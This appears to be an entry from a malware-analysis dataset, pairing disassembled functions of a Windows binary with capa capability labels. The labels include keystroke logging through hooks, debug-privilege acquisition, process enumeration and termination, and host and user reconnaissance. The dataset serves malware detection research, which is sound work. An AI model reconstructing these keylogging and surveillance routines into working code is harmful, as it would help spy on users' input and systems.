joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45b0f8
Capabilities:
Accept command line arguments
Acquire debug privileges
Create thread

Disassembly:
push 0x3c
mov eax, 0x481a20
call fcn.00462fb8
push 3
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push str.SeShutdownPrivilege
call fcn.0045bb67
mov dword [esp], str.SeDebugPrivilege
call fcn.0045bb67
mov dword [esp], str.SeTcbPrivilege
call fcn.0045bb67
pop ecx
call fcn.0045d8fa
cmp byte [0x4b051c], 0
je 0x45b16a
call fcn.00406f61
call fcn.004070ee
test al, al
jne 0x45b16a
call fcn.00406d96
mov esi, eax
push esi
call fcn.00459b93
push esi
call fcn.0040e9f1
pop ecx
pop ecx
call fcn.0045c450
jmp 0x45b308
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor edi, edi
inc edi
push eax
cmp dword [ebp - 0x10], edi
jle 0x45b193
push dword [ebp - 0x10]
call fcn.0045b972
pop ecx
pop ecx
jmp 0x45b30a
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [0x4b9b40]
call fcn.0045c41a
pop ecx
test al, al
jne 0x45b1b0
mov eax, edi
jmp 0x45b30a
mov eax, dword [0x4b9b04]
mov dword [0x4b9afc], eax
mov eax, dword [0x4b9b1c]
mov dword [0x4b9b00], 0x4b9b0c
mov dword [0x4b9b18], eax
mov dword [0x4b9b24], 0x4b9b28
call fcn.0046183e
test al, al
jne 0x45b20c
cmp byte [0x4b051c], al
je 0x45b1f0
call fcn.00406d96
jmp 0x45b1f5
call fcn.00406d75
mov esi, eax
push esi
call fcn.00459b93
push esi
call fcn.0040e9f1
pop ecx
pop ecx
call fcn.0045c450
jmp 0x45b1a9
xor ebx, ebx
mov dword [ebp - 0x2c], edi
push ebx
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], ebx
push eax
push 0x4b9a34
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call sub.gdiplus.dll_GdiplusStartup
call fcn.00459276
push 0x6c
call fcn.0046273d
pop ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], ebx
test eax, eax
je 0x45b254
push edi
push 0x45a0fa
push 0x45a10c
mov ecx, eax
call fcn.004596b1
jmp 0x45b256
mov eax, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, eax
mov dword [0x4b9a30], eax
call fcn.00459171
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 8
push eax
mov dword [ebp - 0x18], 0x3fff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
cmp byte [0x4b9b3e], 0
je 0x45b29f
call fcn.00406d75
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push ebx
call fcn.0045c950
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x40743c
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x40379f
push ebx
push ebx
mov dword [0x4b9a40], eax
call esi
mov dword [0x4b9a44], eax
call fcn.0045c534
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea edi, [ebp - 0x44]
push 6
pop ecx
xor eax, eax
mov dword [ebp - 0x48], ebx
rep stosd dword es:[edi], eax
jmp 0x45b2f5
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x48]
push eax
call esi
test eax, eax
jg 0x45b2e1
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
call fcn.00462f86
ret
Function at 0x45b764
Capabilities:
Write file on windows

Disassembly:
push 0x34
mov eax, 0x481a66
call fcn.00462feb
mov esi, ecx
mov dword [ebp - 0x30], esi
mov edi, dword [ebp + 8]
or ebx, 0xffffffff
cmp edi, ebx
jne 0x45b786
xor eax, eax
jmp 0x45b8e0
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x45b7b0
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
add eax, ecx
cmp ecx, eax
jae 0x45b7b0
dec dword [edx]
mov edx, dword [esi + 0x20]
mov eax, dword [ebp + 8]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], al
jmp 0x45b8e0
cmp dword [esi + 0x50], 0
je 0x45b8de
mov ecx, esi
call fcn.00459f7d
xor ecx, ecx
cmp dword [esi + 0x40], ecx
jne 0x45b7dd
push dword [esi + 0x50]
push edi
call fcn.004592ee
test al, al
pop ecx
pop ecx
cmovne ebx, edi
jmp 0x45b8de
mov eax, dword [ebp + 8]
push ecx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x28], cl
lea ecx, [ebp - 0x28]
push 8
mov byte [ebp - 0x2c], al
mov dword [ebp - 0x14], 0xf
call fcn.00408f12
and dword [ebp - 4], 0
lea eax, [esi + 0x48]
mov dword [ebp - 0x40], eax
mov edi, dword [ebp - 0x14]
mov esi, dword [esi + 0x40]
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
cmp edi, 0x10
lea edx, [ebp - 0x28]
mov edi, dword [esi]
cmovae ecx, dword [ebp - 0x28]
cmovae edx, dword [ebp - 0x28]
add eax, ecx
push eax
push edx
lea eax, [ebp - 0x38]
mov ecx, esi
push eax
lea eax, [ebp - 0x2b]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x40]
call dword [edi + 0x1c]
test eax, eax
js 0x45b8d2
cmp eax, 1
jg 0x45b8b7
mov edi, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
cmp edi, 0x10
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
cmovae eax, ecx
sub edx, eax
mov dword [ebp - 0x3c], edx
je 0x45b888
push dword [esi + 0x50]
cmp edi, 0x10
lea eax, [ebp - 0x28]
push edx
cmovae eax, ecx
push 1
push eax
call fcn.004656fe
mov edx, dword [ebp - 0x3c]
add esp, 0x10
cmp edx, eax
jne 0x45b8d2
mov edi, dword [ebp - 0x14]
lea eax, [ebp - 0x2c]
mov byte [esi + 0x45], 1
cmp dword [ebp - 0x38], eax
jne 0x45b8b2
test edx, edx
jne 0x45b808
cmp dword [ebp - 0x18], 0x20
jae 0x45b8d2
push edx
push 8
lea ecx, [ebp - 0x28]
call fcn.0045a02c
jmp 0x45b805
mov ebx, dword [ebp + 8]
jmp 0x45b8d2
cmp eax, 3
jne 0x45b8d2
mov eax, dword [ebp - 0x30]
push dword [eax + 0x50]
push dword [ebp - 0x2c]
call fcn.004592ee
test al, al
pop ecx
cmovne ebx, dword [ebp + 8]
pop ecx
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.00401334
mov eax, ebx
call fcn.00462f9a
ret 4

Function at 0x45c534
Capabilities:
Create thread
Resume thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x4b9b3d], 0
jne 0x45c57b
mov eax, dword [0x4b9a74]
test eax, eax
je 0x45c553
push 1
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [ebp - 4]
push eax
push 4
xor eax, eax
push eax
push 0x45c57f
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp - 4], 0
mov dword [0x4b9a74], eax
jbe 0x45c57b
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esp, ebp
pop ebp
ret
Function at 0x45c923
Capabilities:
Terminate process
Terminate thread

Disassembly:
cmp byte [0x4b9b3e], 0
je 0x45c94f
push 0
push dword [0x4b9a88]
mov byte [0x4b9a84], 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push dword [0x4b9a8c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
ret

Function at 0x45c950
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp byte [0x4b9b3e], 0
je 0x45c9c8
push ebx
push esi
push 0xc
mov byte [0x4b9a84], 1
call fcn.0046273d
mov esi, eax
xor ebx, ebx
pop ecx
test esi, esi
je 0x45c980
push edi
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop edi
jmp 0x45c982
mov esi, ebx
cmp byte [ebp + 8], bl
jne 0x45c998
push esi
call fcn.0045c9ca
pop ecx
push ebx
push ebx
push esi
push 0x45cb8a
jmp 0x45c9ab
mov eax, dword [ebp + 0xc]
push ebx
push ebx
mov dword [esi], eax
mov eax, dword [ebp + 0x10]
push esi
mov dword [esi + 8], eax
push 0x45cb44
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x45caab
push ebx
push ebx
call esi
pop esi
mov dword [0x4b9a8c], eax
pop ebx
pop ebp
ret

Function at 0x45c9ca
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
push edi
push 0x1fc
push eax
mov word [ebp - 0x204], ax
lea eax, [ebp - 0x202]
push eax
call fcn.004653c0
add esp, 0xc
call fcn.00406d75
mov esi, eax
mov dword [ebp - 0x208], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
lea eax, [ebp - 0x204]
push str.__s___i
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
lea edi, [ebp - 0x218]
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x25c]
pop edi
push edi
push 0
push eax
call fcn.004653c0
add esp, 0x1c
mov dword [ebp - 0x25c], edi
lea eax, [ebp - 0x218]
xor edi, edi
push eax
lea eax, [ebp - 0x25c]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x204]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0x10
call fcn.0046273d
pop ecx
test eax, eax
je 0x45ca93
mov edi, eax
lea esi, [ebp - 0x218]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x208]
jmp 0x45ca95
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
mov dword [ebx], esi
xor ecx, ebp
pop esi
mov dword [ebx + 4], eax
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x45cadf
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
xor edi, edi
push edi
push eax
call fcn.004653c0
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x54], esi
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0x10
call fcn.0046273d
pop ecx
test eax, eax
je 0x45cb38
mov edi, eax
lea esi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jmp 0x45cb3a
mov eax, edi
pop edi
pop esi
mov dword [ebx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45cbe0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x434]
push esi
push edi
xor esi, esi
push 0x228
push esi
push eax
mov dword [ebp - 0x438], esi
call fcn.004653c0
add esp, 0xc
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x45cd07
lea eax, [ebp - 0x438]
mov dword [ebp - 0x438], 0x22c
push eax
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x45cd00
call fcn.00406d75
mov esi, eax
mov ecx, ebx
push esi
call fcn.0045c8e0
push esi
call fcn.0040e9f1
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x414]
mov ecx, ebx
push eax
call fcn.0045c8e0
push dword [ebp - 0x430]
mov ecx, ebx
call fcn.0045c7e9
push dword [ebp - 0x430]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x43c], eax
test eax, eax
je 0x45ccd6
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 0
push eax
call sub.PSAPI.DLL_GetModuleFileNameExW
push dword [ebp - 0x43c]
call esi
lea eax, [ebp - 0x20c]
mov ecx, ebx
push eax
call fcn.0045c8e0
lea eax, [ebp - 0x438]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x45cc64
push edi
call esi
mov al, 1
jmp 0x45cd09
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x45cd1a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x45cd40
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
xor al, al
jmp 0x45cd60
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0xc]
and dword [ecx], 0
cmp esi, 1
pop esi
sete al
pop edi
pop ebp
ret
Function at 0x45ce86
Capabilities:
Create thread
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
push edi
push edi
push 0x45d894
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
push edi
push edi
push 0x45d8c7
push 0xe
mov dword [0x4b9aa0], eax
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x4b9aa4], eax
cmp dword [0x4b9aa0], edi
je 0x45ced5
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x45ce28
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4b9acc], eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x45e55c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.004653c0
add esp, 0xc
push dword [ebp + 0xc]
push dword [ebp + 8]
push 1
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
setne al
pop ebp
ret
Function at 0x45e589
Capabilities:
Connect to wmi namespace via wbemlocator
Reference wmi statements

Disassembly:
push 0x34
mov eax, 0x481bd3
call fcn.00463021
xor ebx, ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
push ebx
push 3
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
push eax
push 0x4939f8
push 1
push ebx
push 0x493ac8
call dword [sym.imp.ole32.dll_CoCreateInstance]
push str.ROOTCIMV2
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x14], ebx
call fcn.0045e4ff
mov eax, dword [eax]
mov byte [ebp - 4], 1
test eax, eax
je 0x45e5eb
mov edx, dword [eax]
jmp 0x45e5ed
mov edx, ebx
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x14]
push esi
push ebx
push ebx
mov ecx, dword [eax]
push ebx
push ebx
push ebx
push ebx
push edx
push eax
call dword [ecx + 0xc]
mov ecx, dword [ebp - 0x2c]
mov byte [ebp - 4], bl
test ecx, ecx
je 0x45e610
call fcn.0045e78f
push ebx
push ebx
push 3
push 3
push ebx
push ebx
push 0xa
push dword [ebp - 0x14]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
push str.SELECT__FROM_Win32_OperatingSystem
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x1c], ebx
call fcn.0045e4b5
mov esi, eax
push 0x48d11c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.0045e4b5
mov ecx, eax
mov eax, dword [esi]
mov byte [ebp - 4], 3
test eax, eax
je 0x45e656
mov esi, dword [eax]
jmp 0x45e658
mov esi, ebx
mov eax, dword [ecx]
test eax, eax
je 0x45e662
mov edx, dword [eax]
jmp 0x45e664
mov edx, ebx
mov eax, dword [ebp - 0x14]
lea edi, [ebp - 0x1c]
push edi
push ebx
push 0x30
mov ecx, dword [eax]
push esi
push edx
push eax
call dword [ecx + 0x50]
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x45e685
call fcn.0045e78f
mov dword [ebp - 0x20], ebx
mov ecx, dword [ebp - 0x24]
mov byte [ebp - 4], bl
test ecx, ecx
je 0x45e697
call fcn.0045e78f
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
lea edx, [ebp - 0x28]
mov dword [ebp - 0x30], ebx
push edx
mov ecx, dword [eax]
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x40]
push ebx
push ebx
push edx
mov ecx, dword [eax]
push ebx
push 0x48d120
push eax
call dword [ecx + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call fcn.004653c0
add esp, 0xc
push dword [ebp - 0x38]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov al, 1
jmp 0x45e71f
call fcn.00462f86
ret
Function at 0x45e725
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
mov dword [ebp + 0xc], eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x45e751
xor al, al
pop ebp
ret
cmp dword [ebp + 0xc], 0
seta al
pop ebp
ret

Function at 0x45e75a
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
mov dword [ebp + 0xc], eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x45e786
xor al, al
pop ebp
ret
cmp dword [ebp + 0xc], 0
seta al
pop ebp
ret

Function at 0x45e7ff
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push esi
mov esi, ecx
lea eax, [esi + 4]
mov dword [esi + 0xc], edx
push eax
push 4
push edx
push dword [esi + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi], eax
test eax, eax
je 0x45e838
push eax
mov byte [esi + 0x11], 1
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esi + 0x11]
pop esi
pop ebp
ret 4

Function at 0x45ed50
Capabilities:
Create directory

Disassembly:
push 8
mov eax, 0x481443
call fcn.00462fb8
mov esi, ecx
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x45ed79
push dword [ebp + 8]
mov ecx, esi
call fcn.00460172
jmp 0x45edb1
lea ecx, [ebp - 0x14]
call fcn.0045c6ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push 2
call fcn.0045c7e9
push 0xb
lea ecx, [ebp - 0x14]
call fcn.0045c7e9
mov ecx, dword [esi + 0x58]
lea eax, [ebp - 0x14]
push eax
call fcn.00403510
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0045c702
call fcn.00462f86
ret 4
Function at 0x45edb9
Capabilities:
Copy file
Delete file

Disassembly:
push 0x30
mov eax, 0x481c72
call fcn.00462fb8
mov esi, ecx
cmp dword [ebp + 0xc], 0
jne 0x45ee38
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x3c]
rep stosd dword es:[edi], eax
push 0x14
stosw word es:[edi], ax
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x34], eax
pop eax
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2a], edi
mov dword [ebp - 0x22], edi
mov dword [ebp - 0x26], edi
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
lea ecx, [ebp - 0x14]
call fcn.0045c6ec
push 2
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], edi
call fcn.0045c7e9
push 0xc
lea ecx, [ebp - 0x14]
call fcn.0045c7e9
mov ecx, dword [esi + 0x58]
lea eax, [ebp - 0x14]
push eax
call fcn.00403510
lea ecx, [ebp - 0x14]
jmp 0x45ee87
xor edi, edi
inc edi
cmp dword [ebp + 0xc], edi
jne 0x45ee90
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x45ee59
push dword [ebp + 8]
mov ecx, esi
call fcn.00460172
jmp 0x45ee90
lea ecx, [ebp - 0x1c]
call fcn.0045c6ec
push 2
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], edi
call fcn.0045c7e9
push 0xa
lea ecx, [ebp - 0x1c]
call fcn.0045c7e9
mov ecx, dword [esi + 0x58]
lea eax, [ebp - 0x1c]
push eax
call fcn.00403510
lea ecx, [ebp - 0x1c]
or dword [ebp - 4], 0xffffffff
call fcn.0045c702
call fcn.00462f86
ret 8

Function at 0x45ee98
Capabilities:
Create process on windows

Disassembly:
push 0x74
mov eax, 0x481c95
call fcn.00462feb
mov dword [ebp - 0x2c], ecx
mov esi, dword [ebp + 8]
xor eax, eax
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
and dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
and dword [ebp - 4], eax
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x28]
call fcn.00402c50
push 0x48d2cc
call fcn.00403068
pop ecx
push eax
push 0x48d2cc
lea ecx, [ebp - 0x28]
call fcn.00402c50
push edi
call fcn.00403068
pop ecx
push eax
push edi
lea ecx, [ebp - 0x28]
call fcn.00402c50
push 0x40
lea eax, [ebp - 0x7c]
xorps xmm0, xmm0
push 0
push eax
movdqu xmmword [ebp - 0x3c], xmm0
call fcn.004653c0
add esp, 0xc
mov dword [ebp - 0x80], 0x44
xor eax, eax
mov dword [ebp - 0x54], 1
test bl, bl
lea ecx, [ebp - 0x3c]
push ecx
setne al
lea ecx, [ebp - 0x80]
cmp dword [ebp - 0x14], 8
push ecx
mov word [ebp - 0x50], ax
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x45ef7e
test bl, bl
setne al
push eax
push 0
push edi
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jge 0x45ef8e
mov ecx, dword [ebp - 0x2c]
push esi
call fcn.00460172
jmp 0x45ef8e
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.00402b64
call fcn.00462f9a
ret 0xc
Function at 0x45fe3d
Capabilities:
Get file size

Disassembly:
push 0x14
mov eax, 0x481d8f
call fcn.00462fb8
mov ebx, ecx
push 0x4b99ac
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x45fe8e
push dword [ebp + 8]
mov ecx, ebx
call fcn.00460172
push 0x4b99ac
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x45ff63
cmp dword [ebx + 0x5c], edi
jne 0x45fe9c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x45fe7e
push 0x2c
call fcn.0046273d
pop ecx
test eax, eax
je 0x45feba
push dword [ebx + 0x5c]
mov ecx, eax
push ebx
call fcn.0045ec48
mov edi, eax
mov dword [ebp - 0x10], eax
jmp 0x45febd
mov dword [ebp - 0x10], edi
xor eax, eax
mov dword [edi + 4], esi
mov dword [edi + 0xc], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x45fe74
mov eax, dword [ebp - 0x20]
lea esi, [edi + 0x18]
and dword [edi + 0xc], 0
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp + 0xc]
push 0x4b99c4
mov dword [esi], edi
and dword [eax + 0x20], 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebx + 0x5c]
push esi
call fcn.0045ecb7
mov ecx, dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x4b99c4
mov dword [eax], ecx
call esi
lea ecx, [ebp - 0x18]
call fcn.0045c6ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x18]
push 2
call fcn.0045c7e9
push 4
lea ecx, [ebp - 0x18]
call fcn.0045c7e9
push 0x10
push edi
lea ecx, [ebp - 0x18]
call fcn.0045c86b
mov ecx, dword [ebx + 0x58]
lea eax, [ebp - 0x18]
push eax
call fcn.00403510
push 0x4b99ac
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.0045c702
call fcn.00462f86
ret 0xc

Function at 0x460083
Capabilities:
Get disk information

Disassembly:
push 0x21c
mov eax, 0x481db5
call fcn.00462feb
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x41
mov ebx, eax
lea ecx, [ebp - 0x220]
pop eax
push 0x3a
mov word [ebp - 0x18], ax
pop eax
mov word [ebp - 0x16], ax
push 0x5c
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x12], ax
call fcn.0045c6ec
xor esi, esi
lea ecx, [ebp - 0x220]
push 2
mov dword [ebp - 4], esi
call fcn.0045c7e9
push 1
lea ecx, [ebp - 0x220]
call fcn.0045c7e9
xor eax, eax
mov ecx, esi
inc eax
shl eax, cl
test ebx, eax
je 0x460144
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004607d9
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004607b6
add esp, 0x10
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x220]
push eax
call fcn.0045c8e0
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x220]
call fcn.0045c8e0
push 8
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x220]
call fcn.0045c86b
inc word [ebp - 0x18]
inc esi
cmp esi, 0x1a
jl 0x4600e1
mov ecx, dword [edi + 0x58]
lea eax, [ebp - 0x220]
push eax
call fcn.00403510
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x220]
call fcn.0045c702
call fcn.00462f9a
ret